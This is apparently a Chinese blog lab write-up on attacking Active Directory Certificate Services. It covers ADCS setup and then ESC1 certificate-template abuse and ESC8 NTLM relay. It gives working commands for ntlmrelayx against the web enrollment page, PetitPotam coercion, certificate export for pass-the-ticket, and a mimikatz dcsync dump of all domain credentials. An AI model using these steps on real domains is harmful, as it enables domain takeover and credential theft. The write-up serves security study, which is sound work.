内容太多了,实在不想翻出来英文版本了,这回就中文冲了,凑合看即可
前言
利用方式Certified Pre-Owned: Abusing Active Directory Certificate Services出自于black hat2021
https://www.blackhat.com/us-21/briefings/schedule/#certified-pre-owned-abusing-active-directory-certificate-services-23168
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
强烈建议看下文前先过下上面两个英文素材,可以避免很多坑点
环境介绍
PKI(Public Key Infrastructure公钥基础设施)
软件、加密技术、流程和服务的组合,使得组织能够保护其数据、通信、业务交易,PKI依赖于经过身份验证的用户和受信任资源之间的数字证书交换,可以用证书来保护数据并管理来自组织内外的用户和计算机身份凭证
ADCS
一个服务器角色,提供PKI功能,支持windows域上身份和其他安全功能如文件加密、邮件加密等,可以为组织内部使用创建、验证、撤销公钥证书
通俗来说ADCS角色是实施PKI解决方案,ADCS允许构建公钥基础设置并为组织提供公钥加密、数字证书、数字签名的功能
ADCS提供所有与PKI相关的组件作为角色服务,每个角色负责证书基础架构的特定部分,同时协同完成完整解决方案
认证机构
CA的主要目的是办法证书、撤销证书及发布授权信息方式和撤销信息,部署的第一个CA将成为PKI的根,随后可以部署位于PKI层次结构中的从属CA,根CA位于顶部,从属CA隐式信任根CA,并信任他颁布的cert
证书颁发机构web注册
使得用户使用未加入域或运行windows以外的设备下进行证书颁发续订的操作
Onlie responder
配置管理在线证书状态协议OCSP验证和吊销检查,在线响应程序解码特定证书的吊销状态请求,评估这些证书的状态,并返回具有请求的证书状态信息的签名响应
网络设备注册服务(NDES)
通过该组件,路由器交换器或其他设备可以从adcs获取证书
证书注册web服务(CES)
用于运行windows的计算机和ca之间的代理客户端,ces使用户、计算机或者应用程序能够通过使用户web服务连接到ca
证书注册策略web服务
使得用户能够获取证书注册策略信息,结合CES,可以在用户设备未加入域或无法连接域控的情况下基于策略的证书注册
图片介绍

环境搭建
基本功能
功能安装处如下选择:
证书颁发机构
证书颁发机构web注册
证书注册web服务


配置服务


如下选择进行服务的细节配置









配置证书注册web服务
上一步完成会告诉你是否要配置其他角色服务

依次如下配置即可





搭建完效果如下

辅助域控搭建
这里是把adcs搭成了辅助域控


配置如下

主从复制

一步步直接操作即可,按照提示完成相关的操作即可

证书颁发机构信息获取
certutil
域内成员可成功定位到ca


powershell
获得ca名称
(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration").Active
更多细节信息
$CAName = (Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration").Active;
Get-Itemproperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\$CAName”

测试联通性
确认NTLM协议(后面中继要用)
curl http://192.168.3.73/certsrv -I

ESC1
个人原因,ESC1在部署的另外一套环境测试,也是同样的上方部署方式即可
这里其实是有些坑点的,此处万分感谢李木师傅的解答~~~~
攻击方式
攻击者可以在证书服务请求中指定主体名称,则请求者可以请求任何人(域管)的证书
配置问题
进入证书模板配置

如下进行配置(存在客户端身份验证就行)

允许注册

如下配置在请求中提供

建议拷贝个模板出来做实验!!!
如此将允许低权限用户使用任意SAN请求证书,从而允许低权限用户通过kerberos或schannel作为域中任何主体进行身份验证
若允许这些设置的已发布证书模板,攻击者可以作为环境中的任何人请求证书,使用该证书为用户获取TGT
漏洞利用
使用漏洞发布者的工具即可
域机器运行后如下,显示存在ESC1漏洞
CA : yangdc.yangsir.git\yangsir-YANGDC-CA
Name : 用户 的副本
SchemaVersion : 2
OID : 1.3.6.1.4.1.311.21.8.10154165.557338.9848748.4027908.13133259.250.6500742.4833607
VulnerableTemplateACL : False
LowPrivCanEnroll : True
EnrolleeSuppliesSubject : True
EnhancedKeyUsage : 客户端身份验证 (1.3.6.1.5.5.7.3.2)|安全电子邮件 (1.3.6.1.5.5.7.3.4)|加密文件系统 (1.3.6.1.4.1.311.10.3.4)
HasAuthenticationEku : True
HasDangerousEku : False
EnrollmentAgentTemplate : False
CAManagerApproval : False
IssuanceRequirements : [Issuance Requirements]
Authorized signature count: 0
Reenrollment requires: same criteria as for enrollment.
ValidityPeriod : 1 years
RenewalPeriod : 6 weeks
Owner : YANGSIR\Administrator
DACL : NT AUTHORITY\Authenticated Users (Allow) - Read, Enroll
YANGSIR\Administrator (Allow) - Read, Write
YANGSIR\Domain Admins (Allow) - Read, Write, Enroll
YANGSIR\Domain Users (Allow) - Enroll
YANGSIR\Enterprise Admins (Allow) - Read, Write, Enroll
Misconfigurations : ESC1

通过普通域用户申请证书,注意UPN需要为域管


确认申请成功如下,为administrator权限

确认使用者信息如下

导出证书
certutil -user -exportPFX sha1 yangsirdomainuser.pfx

此处通过凭证进行PTT出现失败,后推测可能是时间同步的问题

对机器重启后,再次PTT即可成功,使用先前导出的凭证

确认凭证信息如下

确认可成功获取权限

ESC8
攻击方式
网上很多了,PetitPotam进行NTLM中继到域管
在ADCS下通过管理员可选择安装的附加服务器角色支持多种基于HTTP的注册方法,如证书注册服务通过安装证书注册web服务,通过安装证书注册策略web服务角色&证书注册策略web协同工作,然而此类http证书的注册接口都非常容易遭受NTLM中继
使用NTLM中继,可以实现冒用目标用户,从而访问这些web页面,并根据用户和机器证书模板请求客户端身份验证码证书
默认情况下,证书注册服务、证书注册策略web服务、网络设备注册服务通过授权http头支持协商身份验证,支持kerberos及NTLM。所以攻击者可以在中继攻击时获得NTLM身份验证虚拟性
默认情况下,不会启用https,但是https本身不能抵抗NTLM中继!!!只有当https&通道绑定相结合的时候,才能保护HTTPS服务免遭NTLM中继,ADCS没有为IIS上的身份验证启用扩展保护,并不能启用通道绑定!!!

漏洞利用
这里要用的是impacket下的ntlmrelayx
开启监听
python3 ntlmrelayx.py -t http://192.168.3.73/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'

PetitPotam强制用户进行身份验证
PetitPotam.exe 192.168.3.11 192.168.3.144 [监听ip、目标服务ip]

获得凭证信息如下

rubeus进行ptt

凭证已经获取,可以直接冲dcsync
lsadump::dcsync /domain:rootkit.org /all /csv

wmic执行命令即可
